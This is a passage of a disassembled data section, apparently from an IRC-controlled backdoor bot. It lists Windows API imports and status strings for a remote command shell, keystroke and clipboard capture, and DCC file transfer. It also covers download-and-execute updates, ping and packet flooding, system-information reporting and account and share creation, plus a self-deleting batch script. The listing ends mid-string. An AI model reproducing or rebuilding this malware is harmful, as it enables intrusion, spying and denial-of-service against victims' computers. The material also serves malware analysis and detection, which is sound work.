aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_40981F:loc_40A3BCo align 10h aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_40981F+B68o align 10h aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_40981F+B60o align 10h aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_40981F:loc_40A372o aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_40981F+B0Eo align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_40981F+B01o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_40981F+AF4o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_40981F+AECo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_40981F:loc_40A2FEo aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_40981F+AAAo align 10h aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_40981F+AA2o align 10h aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_40981F:loc_40A2B4o align 10h aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_40981F+A60o align 10h aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_40981F+A58o align 4 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_40981F:loc_40A26Ao align 4 aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_40981F+9CEo align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_40981F+9C1o align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_40981F+9B4o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_40981F+9A7o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_40981F+99Ao align 10h aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_40981F+98Do align 10h aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_40981F+980o align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_40981F+973o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_40981F+966o align 4 aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_40981F+959o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_40981F+951o aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_40981F:loc_40A15Fo align 10h aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_40981F+903o align 10h aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_40981F+8F6o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_40981F+8EEo align 10h aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_40981F:loc_40A100o align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_40981F+8B4o align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_40981F+842o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_40981F+835o align 10h aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_40981F+828o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_40981F+81Bo align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_40981F+80Eo align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_40981F+801o align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_40981F+7F4o align 10h aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_40981F+7E7o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_40981F+7DAo aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_40981F+7D2o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_40981F:loc_409FE0o aClosesocket db 'closesocket',0 ; DATA XREF: sub_40981F+688o aGetpeername db 'getpeername',0 ; DATA XREF: sub_40981F+67Bo aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_40981F+66Eo align 10h aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_40981F+661o align 10h aGethostname db 'gethostname',0 ; DATA XREF: sub_40981F+654o aGetsockname db 'getsockname',0 ; DATA XREF: sub_40981F+647o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_40981F+63Ao align 4 aAccept db 'accept',0 ; DATA XREF: sub_40981F+62Do ; ___:0042FA40o align 4 aListen db 'listen',0 ; DATA XREF: sub_40981F+620o align 4 aSelect db 'select',0 ; DATA XREF: sub_40981F+613o align 4 aBind db 'bind',0 ; DATA XREF: sub_40981F+60Bo align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_40981F+5F9o align 10h aRecv db 'recv',0 ; DATA XREF: sub_40981F+5ECo align 4 aSendto db 'sendto',0 ; DATA XREF: sub_40981F+5DFo align 10h aSend db 'send',0 ; DATA XREF: sub_40981F+5D2o ; sub_40EE72+220Do align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_40981F+5C5o align 10h aNtohs db 'ntohs',0 ; DATA XREF: sub_40981F+5B8o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_40981F+5ABo align 10h aHtons db 'htons',0 ; DATA XREF: sub_40981F+59Eo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_40981F+591o align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_40981F+584o align 10h aConnect db 'connect',0 ; DATA XREF: sub_40981F+577o ; ___:0042FE50o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_40981F+56Ao aSocket db 'socket',0 ; DATA XREF: sub_40981F+55Do align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_40981F+550o align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_40981F+543o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_40981F+536o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_40981F+529o align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_40981F+51Co align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_40981F+50Fo align 10h aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_40981F+507o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_40981F+4F6o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_40981F+483o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_40981F+476o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_40981F+469o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_40981F+45Co align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_40981F+44Fo align 10h aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_40981F+442o align 10h aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_40981F+435o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_40981F+428o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_40981F+420o align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_40981F:loc_409C2Eo align 10h aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_40981F:loc_409C06o align 10h aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_40981F+38Fo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_40981F+382o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_40981F+375o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_40981F+368o align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_40981F+35Bo align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_40981F+34Eo align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_40981F+341o align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_40981F:loc_409B58o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_40981F+309o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_40981F+2FCo align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_40981F:loc_409B13o align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_40981F+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_40981F+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_40981F+292o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_40981F+285o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_40981F+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_40981F+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_40981F:loc_409A7Eo align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_40981F+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_40981F+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_40981F+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_40981F:loc_409A17o align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_40981F+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_40981F+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_40981F+186o align 10h aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_40981F+179o align 10h aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_40981F+16Co align 10h aIswindow db 'IsWindow',0 ; DATA XREF: sub_40981F+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_40981F+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_40981F+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_40981F:loc_409954o ; sub_42105F+Do align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_40981F:loc_409927o align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_40981F+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_40981F+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_40981F+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_40981F+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_40981F+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_40981F+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_40981F+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_40981F+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_40981F+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40981F+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_40981F+23o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_40981F+Ao align 4 unk_42D764 db 2 ; DATA XREF: sub_40A4AC+2F2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Fh, 72h db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDllTestComplet db ' DLL test complete.',0 align 4 aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+2CCo align 10h aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+264o align 4 aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+230o align 4 aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+194o align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+160o align 4 aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+12Co align 10h aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+C4o align 10h aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+90o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+28o align 10h aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_40AA35+72o align 4 aMirc db 'mIRC',0 ; DATA XREF: sub_40AAFA+5o ; sub_415C5E+18o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_40AB7C+1Co align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_40AC20+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40AC42+140o align 4 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_40AC42+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_40AC42+48o align 4 unk_42D9A8 db 2 ; DATA XREF: sub_40AE02:loc_40AEC1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aNotSupportedBy db ' Not supported by this system.',0 align 4 unk_42D9E8 db 2 ; DATA XREF: sub_40AE02:loc_40AE8Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUnableToAlloca db ' Unable to allocation ARP cache.',0 align 4 unk_42DA28 db 2 ; DATA XREF: sub_40AE02:loc_40AE5Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aArpCacheIsEmpt db ' ARP cache is empty.',0 align 4 unk_42DA5C db 2 ; DATA XREF: sub_40AE02+49o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorGettingAr db ' Error getting ARP cache: <%d>.',0 align 4 unk_42DA9C db 2 ; DATA XREF: sub_40AF86+13Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFinishedSendin db ' Finished sending pings to %s.',0 align 4 unk_42DAD8 db 2 ; DATA XREF: sub_40AF86+6Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSendingPi db ' Error sending pings to %s.',0 align 10h dword_42DB10 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B112+1C6o dd 2BBBB02h aFinishedSend_0 db ' Finished sending packets to %s.',0 align 4 dword_42DB4C dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B112+8Eo dd 2BBBB02h aErrorSending_1 db ' Error sending pings to %s.',0 align 4 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40B390+33o dword_42DB94 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B417:loc_40B549o dd 2BBBB02h aCouldNotReadDa db ' Could not read data from proccess.',0Dh,0Ah,0 align 4 dword_42DBD4 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B417+10Fo dd 2BBBB02h aProccessHasTer db ' Proccess has terminated.',0Dh,0Ah,0 align 4 dword_42DC0C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B417:loc_40B4FDo dd 2BBBB02h aCouldNotRead_0 db ' Could not read data from proccess',0Dh,0Ah,0 align 4 dword_42DC4C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B56C+194o dd 2BBBB02h aFailedToStartI db ' Failed to start IO thread, error: <%d>.',0 align 10h dword_42DC90 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B56C+14Co dd 2BBBB02h aRemoteCommandP db ' Remote Command Prompt',0 aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_40B56C+21o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_40B721+52o aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:' ; DATA XREF: sub_40B8D8+297o db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:' db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:' db ' %s. [Uptime]: %s.',0 align 4 aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_40B8D8+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40B8D8:loc_40BA3Co align 10h word_42DDD0 dw 3Fh ; DATA XREF: sub_40B8D8:loc_40B9DAr ; sub_40D099+1Fo align 4 dword_42DDD4 dd 28207325h, 297325h ; DATA XREF: sub_40B8D8+EBo dword_42DDDC dd 3F3F3Fh ; DATA XREF: sub_40B8D8:loc_40B99Bo ; ___:loc_415C0Fo a2003 db '2003',0 ; DATA XREF: sub_40B8D8+BAo ; ___:0042F8D8o align 4 aXp db 'XP',0 ; DATA XREF: sub_40B8D8+AAo ; ___:00415BFAo align 4 a2k db '2K',0 ; DATA XREF: sub_40B8D8+98o ; ___:00415BEAo align 10h aMe db 'ME',0 ; DATA XREF: sub_40B8D8+7Eo ; ___:00415BD1o align 4 a98 db '98',0 ; DATA XREF: sub_40B8D8+6Co ; ___:00415BC1o align 4 aNt db 'NT',0 ; DATA XREF: sub_40B8D8+5Ao ; ___:00415BB1o align 4 a95 db '95',0 ; DATA XREF: sub_40B8D8+46o ; ___:00415BA3o align 10h aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0 ; DATA XREF: sub_40BB8C+A4o align 10h off_42DE40 dd offset loc_412F4B+3 ; DATA XREF: sub_40BB8C:loc_40BBF8o off_42DE44 dd offset dword_4E414C ; DATA XREF: sub_40BB8C:loc_40BBEEo dword_42DE48 dd 6C616944h, 70752Dh ; DATA XREF: sub_40BB8C+5Bo dword_42DE50 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_40BB8C+48o unk_42DE60 db 2 ; DATA XREF: sub_40BC4B:loc_40BE04o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 76h, 69h, 73h db 69h ; i db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToConnec db 'Failed to connect to HTTP server.',0 align 10h unk_42DEA0 db 2 ; DATA XREF: sub_40BC4B:loc_40BDFDo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 76h, 69h, 73h db 69h ; i db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aCouldNotOpenAC db 'Could not open a connection.',0 align 4 dword_42DEDC dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh ; DATA XREF: sub_40BC4B+1A0o dd 0BB022029h, 202002BBh, 61766E49h, 2064696Ch, 2E4C5255h dd 0 unk_42DF08 db 2 ; DATA XREF: sub_40BC4B:loc_40BDDEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 76h, 69h, 73h db 69h ; i db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToGetReq db 'Failed to get requested URL from HTTP server.',0 align 4 dword_42DF54 dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh ; DATA XREF: sub_40BC4B+18Co dd 0BB022029h, 202002BBh, 204C5255h, 69736976h, 2E646574h dd 0 dword_42DF80 dd 2A2F2Ah ; DATA XREF: sub_40BC4B+3Bo dword_42DF84 dd 202E6425h, 3D207325h, 732520h ; DATA XREF: sub_40BEF5+35o dword_42DF90 dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dh ; DATA XREF: sub_40BEF5+10o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40BF6D+60o align 4 dword_42DFC4 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 1F702E73h, 29671F6Ch ; DATA XREF: sub_40C00D+1Ao dd 0BBBB0220h, 20202002h, 61656C43h, 2E646572h, 0 dword_42DFEC dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C07F+DCo dd 2BBBB02h, 694C2020h, 63207473h, 6C706D6Fh, 2E657465h dd 0 dword_42E018 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C07F+3Fo dd 2BBBB02h, 65422020h, 6E6967h dword_42E038 dd 80000002h, 42F6CCh, 80000002h, 42F6FCh, 80000001h, 42F734h ; DATA XREF: sub_40C1AE+7o dword_42E050 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C1AE+63o ; sub_40C351+170o dd 2BBBB02h aFailedToSendTo db ' Failed to send to Remote command shell.',0 align 4 dword_42E094 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C351+ABo dd 2BBBB02h aFailedToOpenRe db ' Failed to open remote command shell.',0 align 4 dword_42E0D4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C351+47o ; sub_40C512+FDo dd 2BBBB02h aFailedToOpenSo db ' Failed to open socket.',0 align 4 dword_42E108 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+362o ; sub_40C8B4+156o dd 2BBBB02h, 6F532020h, 74656B63h, 72726520h, 2E726Fh dword_42E130 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+2FAo dd 2BBBB02h aTransferComp_0 db ' Transfer complete to IP: %s, Filename: %s (%s bytes).',0 dword_42E180 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+202o dd 2BBBB02h aUnableToOpenSo db ' Unable to open socket.',0 align 4 dword_42E1B4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+1CBo dd 2BBBB02h, 65532020h, 7420646Eh, 6F656D69h, 2E7475h dword_42E1DC dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: sub_40C512+16Ao dd 169h dword_42E1F4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+127o dd 2BBBB02h aFileDoesnTExis db ' File doesn',27h,'t exist.',0 align 4 dword_42E224 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+82o dd 2BBBB02h aFailedToBindTo db ' Failed to bind to socket.',0 dword_42E258 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+44o dd 2BBBB02h aFailedToCreate db ' Failed to create socket.',0 align 4 dword_42E28C dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C8B4+1D1o dd 2BBBB02h aTransferComp_1 db ' Transfer complete from IP: %s, Filename: %s (%s bytes).',0 align 10h dword_42E2E0 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C8B4+CBo dd 2BBBB02h aErrorOpeningSo db ' Error opening socket.',0 dword_42E310 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C8B4+ABo dd 2BBBB02h aErrorOpeningFi db ' Error opening file for writing.',0 align 4 aAB db 'a+b',0 ; DATA XREF: sub_40C8B4+97o dword_42E350 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C8B4+83o dd 2BBBB02h aErrorUnableToW db ' Error unable to write file to disk.',0 align 10h unk_42E390 db 2 ; DATA XREF: sub_40CAF1+493o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aBadUrlOrDnsErr db ' Bad URL, or DNS Error: %s.',0 align 4 unk_42E3CC db 2 ; DATA XREF: sub_40CAF1+485o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUpdateFailedEr db ' Update failed: Error executing file: %s.',0 unk_42E414 db 2 ; DATA XREF: sub_40CAF1+3C9o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloaded_1fk db ' Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0 align 4 dword_42E464 dd 7A026E02h, 201F6D1Fh, 776F6428h, 616F6C6Eh, 1F702E64h ; DATA XREF: sub_40CAF1+358o dd 29671F6Ch, 0BBBB0220h, 4F202002h, 656E6570h, 25203A64h dd 2E73h aOpen db 'open',0 ; DATA XREF: sub_40CAF1+336o ; sub_40EE72+2B48o ... align 4 unk_42E498 db 2 ; DATA XREF: sub_40CAF1+2E1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloaded_1fK db ' Downloaded %.1f KB to %s @ %.1f KB/sec.',0 align 10h unk_42E4E0 db 2 ; DATA XREF: sub_40CAF1+262o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCrcFailedDD_ db ' CRC Failed (%d != %d).',0 align 4 unk_42E518 db 2 ; DATA XREF: sub_40CAF1+1D8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFilesizeIsInco db ' Filesize is incorrect: 